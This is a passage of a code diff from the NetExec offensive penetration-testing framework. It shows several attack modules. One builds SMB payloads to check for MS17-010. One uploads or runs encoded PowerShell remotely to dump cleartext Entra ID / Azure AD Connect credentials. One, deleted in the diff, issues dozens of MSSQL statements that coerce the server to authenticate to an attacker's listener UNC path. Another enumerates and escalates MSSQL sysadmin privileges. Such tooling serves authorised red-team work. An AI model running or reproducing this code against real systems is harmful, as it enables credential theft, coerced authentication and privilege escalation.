# Initialize the tree connect andx request
@@ -271,6 +279,7 @@ class NXCModule:
# Generate the final SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
"""
Generate tran2 request.
@@ -336,6 +345,7 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
def trans2_request(self, treeid, processid, userid, multiplex_id):
"""Generate trans2 request.
@@ -399,6 +409,7 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(self, ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists.
+78 -29
View File
@@ -1,44 +1,93 @@
# MSOL module for NetExec
# MSOL module for nxc
# Author of the module : https://twitter.com/Daahtk
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from sys import exit
from os import path
import sys
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""Module by @NeffIsBack"""
name = "msol"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def __init__(self, context=None, module_options=None):
self.use_embedded = None
self.MSOL_PS1 = None
self.msol_embedded = None
self.cmd = None
self.msolmdl = None
self.msol = None
self.tmp_share = None
self.share = None
self.tmp_dir = None
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No module options available."""
"""MSOL_PS1 // Path to the msol binary on your computer"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.msol = "msol.ps1"
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
self.MSOL_PS1 = module_options["MSOL_PS1"]
self.use_embedded = False
def exec_script(self, _, connection):
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
return connection.execute(command, True)
def on_admin_login(self, context, connection):
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
context.log.fail(line.replace("[!]", "").strip())
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
else:
context.log.highlight(line.strip())
context.log.fail(f"Cannot open {self.MSOL_PS1}")
exit(1)
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success("Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display("Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail("Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success("Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
-78
View File
@@ -1,78 +0,0 @@
import sys
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.listener = None
def options(self, context, module_options):
"""
LISTENER LISTENER for exploitation
L Alias for LISTENER
"""
self.context = context
self.listener = None
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "L" in module_options:
self.listener = module_options["L"]
def on_login(self, context, connection):
if self.listener is None:
context.log.error("LISTENER option is required!")
sys.exit(1)
self.context = context
self.mssql_conn = connection.conn
commands = [
f"xp_dirtree '\\\\{self.listener}\\file';",
f"xp_fileexist '\\\\{self.listener}\\file';",
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
f"xp_subdirs '\\\\{self.listener}\\file';",
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
]
for command in commands:
try:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
self.context.log.display("Commands executed successfully, check the listener for results")
+13 -17
View File
@@ -23,6 +23,8 @@ class NXCModule:
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.admin_privs = None
@@ -40,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -217,7 +219,6 @@ class NXCModule:
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
return True
user.dbowner = self.check_dbowner_privesc(exec_as)
return user.dbowner
@@ -248,15 +249,11 @@ class NXCModule:
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
try:
if int(is_admin):
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
except ValueError:
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
if is_admin:
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as="") -> list:
@@ -298,7 +295,9 @@ class NXCModule:
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
"""
res = self.query_and_get_output(exec_as + query)
return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner")
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
return False
def find_dbowner_priv(self, databases, exec_as="") -> list:
"""
@@ -442,16 +441,13 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if is_admin != "NULL" and int(is_admin):
if int(res):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
else:
return False
except ValueError:
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
except Exception:
return False
def revert_context(self, exec_as):
Loaded 100 of 225 files, more files were not shown because too many files have changed in this diff. Show more